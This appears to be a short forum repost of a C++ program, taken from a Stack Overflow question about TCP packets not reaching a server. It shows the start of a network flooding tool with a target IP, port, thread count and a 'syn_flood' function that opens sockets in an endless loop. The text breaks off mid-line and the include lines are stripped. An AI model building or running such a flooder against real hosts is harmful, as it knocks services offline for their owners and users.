Вот код
Код: Выделить всё
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
std::string dest_ip;
unsigned int dest_port;
unsigned int junk_length = 5;
unsigned int thread_count = 1;
sockaddr_in dest;
timeval timeout;
std::string alphanum = "0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
int alphanum_size = alphanum.length();
// helpers
std::string rand_str(int length)
{
std::string result;
for (int i = 0; i < length; i++) result += alphanum[rand() % (alphanum_size - 1)];
return result;
}
/* ------------------------- flood methods ------------------------- */
// ------- //
// do not require special privileges
void syn_flood()
{
while (true)
{
int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sockfd < 0) std::cerr
Подробнее здесь: [url]https://stackoverflow.com/questions/78629970/tcp-packets-dont-show-up-on-the-server-c[/url]